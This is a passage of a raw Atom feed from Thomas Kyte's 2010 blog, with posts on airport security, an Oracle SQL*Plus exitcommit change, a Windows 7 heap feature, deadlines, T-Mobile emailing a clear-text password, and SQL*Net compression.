href='http://tkyte.blogspot.com/feeds/7103975074752657744/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=7103975074752657744' title='19 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7103975074752657744'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/7103975074752657744'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/12/tiny-challenge.html' title='A tiny challenge...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>19</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5465397192213187020</id><published>2010-12-03T22:52:00.002-05:00</published><updated>2010-12-03T23:14:44.634-05:00</updated><title type='text'>A follow up...</title><content type='html'>A follow up to my last post.  I think this &lt;a href="http://www.schneier.com/blog/archives/2010/12/close_the_washi.html"&gt;guy just hit the nail on the head&lt;/a&gt;.  I've read some of his stuff in the past.  He breaks down and explains security issues pretty darn good.  I think he got this idea (Washington Monument) right too.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Stuff happens.  There are crazy people out there.  There is a fine line between being safe and being paranoid.  Maybe not even that fine.  We now know that if a hijacking takes place, you don't sit in your seat - you rush the people trying to do it and pummel them.  The cockpit doors being reinforced is the greatest security measure ever - and more than enough.  The rest of it all - just intrusive and sometimes just embarrassing.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;You have to draw a line between reasonable security and "we'll reactively respond to every new tactic as it comes along".&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;My big fear - they start doing this (the 'security' thing) for monuments, buses, subways, trains, state parks, restaurants, movies, etc.    &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I've flown over 200,000 miles this year - that is about 10 working weeks in the air - that involves a lot of airports.  I know how intrusive this stuff can be.  I would hate to see the "security stuff" impose itself on my other 40 some weeks (and everyone else's time).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I don't know why, but I'm reminded of one of my favorite movies.  &lt;a href="http://www.imdb.com/title/tt0088846/"&gt;Brazil&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5465397192213187020?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5465397192213187020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5465397192213187020' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5465397192213187020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5465397192213187020'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/12/follow-up.html' title='A follow up...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-5862624670915382159</id><published>2010-11-17T17:11:00.006-05:00</published><updated>2010-11-18T01:00:39.324-05:00</updated><title type='text'>I might have to move...</title><content type='html'>Nothing about technology or the database here.  If you aren't interested in my thoughts about things outside of that - stop reading, go away.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I lived next to New Jersey for much of my life (1972-1987)..&lt;br /&gt;&lt;br /&gt;I lived in New Jersey for more than a year (commuted there for a year, lived there for a year - 1992-1993).&lt;br /&gt;&lt;br /&gt;I might have to move back.  &lt;a href="http://www.thepeoplesvoice.org/TPV3/Voices.php/2010/11/17/new-jersey-moves-to-ban-tsa-scanners-and"&gt;Because of this&lt;/a&gt; (NJ is not the only one, Minnesota is looking into it as well).  Bravo I say.  I fly *a lot* and I love flying *out*of country - because I know all of my flights that week (after the first one) - until the last one back home - will be "nice" ones.&lt;br /&gt;&lt;br /&gt;Because:&lt;br /&gt;&lt;br /&gt;I don't have to take off my shoes.&lt;br /&gt;I don't have to empty my entire backpack for someone.&lt;br /&gt;I don't have to be naked (in a picture for someone, somewhere).&lt;br /&gt;I don't have to be felt up all over.&lt;br /&gt;I don't have to be insulted in many ways and forms.&lt;br /&gt;&lt;br /&gt;Until I come home that is - leaving and coming back - that is the problem these days.  Didn't used to be that way, but it is now.  It is easier for me to go from one foreign country to another than it is for me to go from state to state in the US.  Seriously.  I'd rather go to another country and fly from place to place than in the US - is it that much of a hassle.  I feel the need to get to an airport with at least 2 hours, if not 3 to be safe, "just in case something new and special" will happen to me that time.&lt;br /&gt;&lt;br /&gt;It isn't about safety anymore - it's about "let us react to the latest thing that happened and pretend that makes everyone feel better about themselves"&lt;br /&gt;&lt;br /&gt;I've flown in/out of Israel  more than a few times.  &lt;a href="http://www.thestar.com/news/world/article/744199---israelification-high-securi"&gt;They have it right&lt;/a&gt;.  I've never stood in their lines (and they have lots of traffic) for more than 30 minutes.  And I've never been subjected to what I am in the US.  Just saying.  They seem to be pretty darn secure.  I've seen every layer of their security and experienced it.  Pretty innocuous - yet daunting.  But definitely not embarrassing or intrusive.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-5862624670915382159?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/5862624670915382159/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=5862624670915382159' title='43 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5862624670915382159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/5862624670915382159'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/11/i-might-have-to-move.html' title='I might have to move...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>43</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-6089368348994281313</id><published>2010-10-06T15:51:00.002-04:00</published><updated>2010-10-06T15:55:33.615-04:00</updated><title type='text'>I'm #2....</title><content type='html'>Read &lt;a href="http://www.itworld.com/development/122237/how-to-tell-a-software-developer-what-you-want?page=0,0"&gt;this article&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I am so #2 - they could have started and finished with #2 in my opinion. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The rest of the points are not bad - but #2 hit the nail on the head!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;In my "what are we still doing wrong" talk - I talk about #2 for a long time - the 'business' telling the technologist HOW to do something - not telling them WHAT they need to do.  We know how to do things, they know what they need to do - the opposite is not necessarily true...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-6089368348994281313?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/6089368348994281313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=6089368348994281313' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6089368348994281313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/6089368348994281313'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/10/im-2.html' title='I&apos;m #2....'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-10096923148988614</id><published>2010-08-09T11:56:00.003-04:00</published><updated>2010-08-09T16:28:30.028-04:00</updated><title type='text'>Mr Trace...</title><content type='html'>This looks interesting &lt;a href="http://carymillsap.blogspot.com/2010/08/mister-trace.html"&gt;http://carymillsap.blogspot.com/2010/08/mister-trace.html&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I always like software that comes with a free trial too - I always hesitate to try something out that costs a couple of dollars, even if the amount is small - because I might not like it and then what.&lt;br /&gt;&lt;br /&gt;So, no risk really - if you try it - and have an opinion about it - feel free to post your comments either way...&lt;br /&gt;&lt;br /&gt;I guess I should qualify that "post your comments".  How about - post your informed, backed up with some points, comments :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-10096923148988614?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/10096923148988614/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=10096923148988614' title='24 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/10096923148988614'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/10096923148988614'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/08/mr-trace.html' title='Mr Trace...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8461647304159894526</id><published>2010-06-24T16:22:00.004-04:00</published><updated>2010-06-24T16:28:49.918-04:00</updated><title type='text'>Another SQL*Plus thing I learned...</title><content type='html'>In the past, when you exit SQL*Plus, it would always commit - there was an implicit "commit work" issued for you right before it would disconnect your session.&lt;br /&gt;&lt;br /&gt;It has always been that way.  It doesn't have to be that way anymore as of 11g Release 2.&lt;br /&gt;&lt;br /&gt;There is a new exitcommit setting - it defaults to ON which is the way it has always worked.  But now you can set it to OFF which implies that a rollback will be issued instead of commit.&lt;br /&gt;&lt;br /&gt;Things change over time... If you rely on SQL*Plus committing upon exit - if you have a script that relies on that, bear in mind it is no longer "a fact", it is highly probable that SQL*Plus will commit when you exit - but not a sure thing like it used to be.  Yet another new thing I learned while updating the book Expert Oracle Database Architecture.  I was just reminded of it today while I was going over the proofs of the chapters...&lt;br /&gt;&lt;br /&gt;See &lt;a href="http://download.oracle.com/docs/cd/E11882_01/server.112/e10823/ch_twelve040.htm#BABEGEGC"&gt;http://download.oracle.com/docs/cd/E11882_01/server.112/e10823/ch_twelve040.htm#BABEGEGC&lt;/a&gt; for details on exitcommit.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8461647304159894526?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8461647304159894526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8461647304159894526' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8461647304159894526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8461647304159894526'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/06/another-sqlplus-thing-i-learned.html' title='Another SQL*Plus thing I learned...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-377579335600464647</id><published>2010-06-21T21:07:00.006-04:00</published><updated>2010-06-21T21:27:51.416-04:00</updated><title type='text'>I learned I don't think I like this...</title><content type='html'>I was reading around, stumbled on an article from Dr Dobb's online (I have a &lt;a href="http://tkyte.blogspot.com/2009/01/dr-dobb-journal.html"&gt;long history with Dr Dobb's&lt;/a&gt; - had it not been for them - you wouldn't be reading this!).  The article described a 'feature' of Windows 7 that I have mixed feelings on.  The same sort of mixed (well, not so mixed, I lean far to one side on the use of this feature) feelings I have for cursor_sharing being set to anything other than EXACT.&lt;a href="http://www.drdobbs.com/windows/225300234;jsessionid=DMOV5SDKHQNIHQE1GHOSKHWATMY32JVN?cid=sem_edit_.net_0610&amp;amp;wc=4"&gt;&lt;br /&gt;&lt;br /&gt;Here is the article&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ok, so why don't I like it?  It seems to be a way to 'self correct' a program.  It "seems" like a "good thing".&lt;br /&gt;&lt;br /&gt;I don't like it because it won't help get the problem fixed (same with cursor_sharing :( ).  In fact, it will promote &lt;span style="font-weight: bold;"&gt;*more*&lt;/span&gt; code being developed that suffers from heap overwrites.  &lt;span style="font-style: italic;"&gt;It lets bad developers develop bad code even faster&lt;/span&gt; and distribute it - thinking they are seriously good developers.  That is, it leads to &lt;span style="font-weight: bold;"&gt;delusion &lt;/span&gt;and the bad coders getting more senior without learning from their mistakes.&lt;br /&gt;&lt;br /&gt;In short, it instills a false sense of "hey, I'm pretty good" in developers that probably shouldn't have that sense.&lt;br /&gt;&lt;br /&gt;It could definitely lead to some really strange issues - think about it, a program that used to crash - stops crashing - for a while - then crashes more (as the overwrite occasionally gets bigger than normal, requiring more "pad" bytes).  And who knows how allowing a memory overwrite to propagate into other bits of the code will affect it.  I prefer code that works right - not code that sometimes seems to work.&lt;br /&gt;&lt;br /&gt;I'm reminded of a code review I did some 20 years ago.  I asked the developer "why do you have this massive static array defined - we don't seem to use it".  The answer "if you take it out, the program crashes, the compiler must have a bug".  The look on my face - I wish I had a picture - it would have been priceless.&lt;br /&gt;&lt;br /&gt;I'm not a fan of this "let's try to fix it for you and let you pretend you know what you're doing" approach to software.  We rely on software way too much.&lt;br /&gt;&lt;br /&gt;Oh well, just a 30 second thought - I just read the article and felt the need to gripe... Things like this scare me.&lt;br /&gt;&lt;br /&gt;I have to say - I wrote something similar myself some many years ago .  It was a C library I called xalloc.  It replaced the malloc, calloc, realloc, free, etc functions of C.  It worked by allocating (or freeing) the requested memory and adding a few bytes.  It would set some bytes at the FRONT and the END of the allocated memory, set some bytes to represent the source code file and line number that allocated the memory, and return a pointer to the memory to be used by the program.  Every time you called any of the xalloc functions - it would inspect the allocated memory (all of it) and CRASH the program if any of the magic bytes in front/at the end of the memory block had been changed.  When the program exited - it would report on all allocated memory that wasn't freed.  You could turn off the checking with an environment variable if you wanted, but it was always ready to be "on".  I made everyone that worked in my team use it - it saved us countless hours (and it found the bug in the code of the person that needed to allocate that big array in a few seconds)...&lt;br /&gt;&lt;br /&gt;My approach differed from Windows 7 in that I would prefer a program to crash and burn immediately rather than live for another second if it made such a grievous error.  I'd still rather the program die than continue today...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-377579335600464647?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/377579335600464647/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=377579335600464647' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/377579335600464647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/377579335600464647'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/06/i-learned-i-dont-think-i-like-this.html' title='I learned I don&apos;t think I like this...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4544562067378379882</id><published>2010-06-09T10:25:00.002-04:00</published><updated>2010-06-09T10:32:06.548-04:00</updated><title type='text'>What I learned about deadlines...</title><content type='html'>I learned that &lt;a href="http://sethgodin.typepad.com/seths_blog/2010/06/six-things-about-deadlines.html"&gt;I am not the only one&lt;/a&gt; :)  Seth's blog is one of the ones I read every time.  They are short, to the point and almost always meaningful to me.  Deadlines are the greatest motivator for me - if I do not have a deadline for something, I can pretty much guarantee you I will not finish it.  I set my own little deadlines for things just to get finished.  Whenever someone asks me to do something for them - write a foreword, make a recommendation, whatever - I typically say "sure and what is the &lt;span style="font-style: italic;"&gt;drop dead date&lt;/span&gt;".  If they know me, they'll give me a date before the true 'drop dead' just to have it in a timely fashion (because the odds they see it before then are slim to none).&lt;br /&gt;&lt;br /&gt;Speaking of deadlines, I just finished the 2nd edition of Expert Oracle Database Architecture.  Right now, this minute.  Just have to dot I's and cross T's now - a few final copy edits and it'll be done.  This will be the blurb on the back of the book (which you can expect to see soon)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Expert Oracle Database Architecture &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Dear Reader,&lt;br /&gt;I have a simple philosophy when it comes to the Oracle database: you can treat it as a black box and just stick data into it, or you can understand how it works and exploit it fully. If you choose the former, you will, at best, waste money and miss the potential of your IT environment. At worst, you will create nonscalable and incorrectly implemented applications—ones that damage your data integrity and, in short, give incorrect information. If you choose to understand exactly how the Oracle database platform should be used, then you will find that there are few information management problems that you cannot solve quickly and elegantly.&lt;br /&gt;&lt;br /&gt;Expert Oracle Database Architecture is a book that explores and defines the Oracle database. In this book I’ve selected what I consider to be the most important Oracle architecture features, and I teach them in a proof-by-example manner, explaining not only what each feature is, but also how it works, how to implement software using it, and the common pitfalls associated with it. In this second edition, I’ve added new material reflecting the way that Oracle Database 11g Release 2 works, updated stories about implementation pitfalls, and new capabilities in the current release of the database. The number of changes between the first and second editions of this book might surprise you.  Many times as I was updating the material – I myself was surprised to discover changes in the way Oracle worked that I was not yet aware of.  In addition to updating the material to reflect the manner in which Oracle Database 11g Release 2 works – I’ve added an entirely new chapter on data encryption.  Oracle Database 10g Release 2 added a key new capability – transparent column encryption – and Oracle Database 11g Release 1 introduced transparent tablespace encryption.  This new chapter takes a look at the implementation details of these two key features as well as manual approaches to data encryption.&lt;br /&gt;&lt;br /&gt;This book is a reflection of what I do every day. The material within covers topics and questions that I see people continually struggling with, and I cover these issues from a perspective of "When I use this, I do it this way." This book is the culmination of many years’ experience using the Oracle database, in myriad situations. Ultimately, its goal is to help DBAs and developers work together to build correct, high-performance, and scalable Oracle applications.&lt;br /&gt;&lt;br /&gt;Thanks and enjoy!&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-4544562067378379882?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/4544562067378379882/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=4544562067378379882' title='31 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4544562067378379882'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/4544562067378379882'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/06/what-i-learned-about-deadlines.html' title='What I learned about deadlines...'/><author><name>Thomas Kyte</name><uri>http://www.blogger.com/profile/16414894020465518692</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_IxinUpKAs5M/S_5YHppw_cI/AAAAAAAAAAM/pU6wdtJGoQM/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>31</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-8586952361734455229</id><published>2010-05-21T03:14:00.001-04:00</published><updated>2010-05-21T03:24:39.587-04:00</updated><title type='text'>What I learned about "Security"</title><content type='html'>I travel a lot.  Because of that, I use 'hotspots' all over the place.  I am connecting through Germany right now and had to sign up for a T-Mobile hotspot.  They require you set up an account - to buy a 60 minute pass (I don't really like that, I don't want an account but they make you).&lt;br /&gt;&lt;br /&gt;So, I set up my account - username, password - credit card information, etc.  Get logged in and immediately receive an email.  I've received this email before (because I always have to set up a new account since I can never remember what my 'old' account was) .  It was the standard "welcome to T-Mobile" sort of email, but it always contains this (I've written to them before - that is like sending email to a bit bucket, no response, no action).  Here is the email (xxxxx represents information I:&lt;br /&gt;&lt;pre&gt;From - Fri May 21 09:05:34 2010&lt;br /&gt;X-Account-Key: account5&lt;br /&gt;X-UIDL: AHxxafafdafda&lt;br /&gt;X-Mozilla-Status: 0001&lt;br /&gt;X-Mozilla-Status2: 00000000&lt;br /&gt;X-Mozilla-Keys:                                                                                &lt;br /&gt;X-Apparently-To: xxxxxx@yahoo.com via 206.190.49.114; Fri, 21 May 2010 00:04:39 -0700&lt;br /&gt;Received-SPF: none (mta1056.mail.mud.yahoo.com: domain of noreply-wlan@t-mobile.net does not designate permitted sender hosts)&lt;br /&gt;X-Originating-IP: [193.254.174.32]&lt;br /&gt;Authentication-Results: mta1056.mail.mud.yahoo.com  from=t-mobile.net; domainkeys=neutral (no sig);  from=t-mobile.net; dkim=neutral (no sig)&lt;br /&gt;Received: from 127.0.0.1  (EHLO wlansmtp.t-mobile.net) (193.254.174.32)&lt;br /&gt; by mta1056.mail.mud.yahoo.com with SMTP; Fri, 21 May 2010 00:04:39 -0700&lt;br /&gt;Received: from kxsnsrg2 (kxsnsrg1 [172.28.76.134])&lt;br /&gt; by wlansmtp.t-mobile.net (Postfix) with ESMTP id 37BDD6716&lt;br /&gt; for &lt;xxxxxxxxx@yahoo.com&gt;; Fri, 21 May 2010 09:04:37 +0200 (CEST)&lt;br /&gt;Date: Fri, 21 May 2010 09:04:37 +0200&lt;br /&gt;From: noreply-wlan@t-mobile.net&lt;br /&gt;Message-Id: &lt;1274425477.9165@kxsnsrg2&gt;&lt;br /&gt;To: xxxxxxx@yahoo.com&lt;br /&gt;Subject: T-Mobile welcomes you to your new HotSpot Pass Account&lt;br /&gt;&lt;br /&gt;T-Mobile welcomes you to your new HotSpot Pass Account.  The password for your&lt;br /&gt;new account is &lt;b&gt;XXXXXXXXX&lt;/b&gt;&lt;br /&gt;&lt;/xxxxxxxxx@yahoo.com&gt;&lt;/pre&gt;&lt;br /&gt;Yes, that is right, they emailed my password - over unencrypted email, for no apparently good reason at all.  Why??? Why would they do this???  What is the point? What is the reason?&lt;br /&gt;&lt;br /&gt;Why am I posting this?  Well, maybe they'll read or hear about it this way and change it.  I found this funny - this is their FAQ:&lt;br /&gt;&lt;br /&gt;https://hotspot.t-mobile.net/TMD/en_GB/web/security/index.html#1&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-weight: bold;"&gt;Is the HotSpot registration (log in) secure?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Yes, because the access details are transmitted in code to the T-Home / T-Mobile HotSpots. The code that is used is SSL. The software for this is integrated into the browser. If this is not the case, you can update your browser. The relevant downloads are available from the browser provider.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;By using our HotSpot Manager, which automatically logs onto T-Home / T-Mobile HotSpots, you can be assured that the registration details are only transmitted to a confidential hot spot web portal.&lt;/span&gt;&lt;/blockquote&gt;Well, that is not quite true is it.  You can also be assured that your password will be transmitted to everyone on the planet in clear text via good old email.&lt;br /&gt;&lt;br /&gt;In the year 2010, you would think we'd know better. &lt;br /&gt;&lt;br /&gt;They shouldn't be STORING my password let alone EMAILING IT to me.  Sigh....&lt;br /&gt;&lt;br /&gt;Now I've got some passwords to change, ugh....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11839365-8586952361734455229?l=tkyte.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tkyte.blogspot.com/feeds/8586952361734455229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11839365&amp;postID=8586952361734455229' title='20 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8586952361734455229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11839365/posts/default/8586952361734455229'/><link rel='alternate' type='text/html' href='http://tkyte.blogspot.com/2010/05/what-i-learned-about-security.html' title='What I learned about &quot;Security&quot;'/><author><name>Thomas Kyte</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_Adb4DobPwb8/S83ngQWjOKI/AAAAAAAAABY/n0ZnSKI8OIk/S220/AIbEiAIAAABECKW-s5WbvqeGhgEiC3ZjYXJkX3Bob3RvKigzODIwMDI0MmJjMjEwYjYxMGUyMjAyZDJkMDMzYjhlYTNmY2ViMzliMAG2Ia-cTjf6DRbcogWdq0L5XaBO-w.jpg'/></author><thr:total>20</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11839365.post-4187490680188937026</id><published>2010-05-10T12:12:00.003-04:00</published><updated>2010-05-10T12:18:13.222-04:00</updated><title type='text'>A SQLNet thing I probably forgot about...</title><content type='html'>My most recent "ah-hah", or "oh yeah" moment came reading &lt;a href="http://jonathanlewis.wordpress.com/"&gt;Jonathan Lewis's blog&lt;/a&gt;.  A very neat "&lt;a href="http://jonathanlewis.wordpress.com/2010/05/07/sqlnet-compression/"&gt;SQL Net compression&lt;/a&gt;" detail. &lt;br /&gt;&lt;br /&gt;It is one of those things that I cannot remember if it was something I knew but forgot - or just never knew. &lt;br /&gt;&lt;br /&gt;His example makes the point nicely, you have to appreciate those little test scripts for that.  You can clearly see what a difference an order by might make on a the size of a result set set across the network.&lt;br /&gt;&lt;br /&gt;Yet another reason to look at bulk processing - the more reasons the better...&lt;div 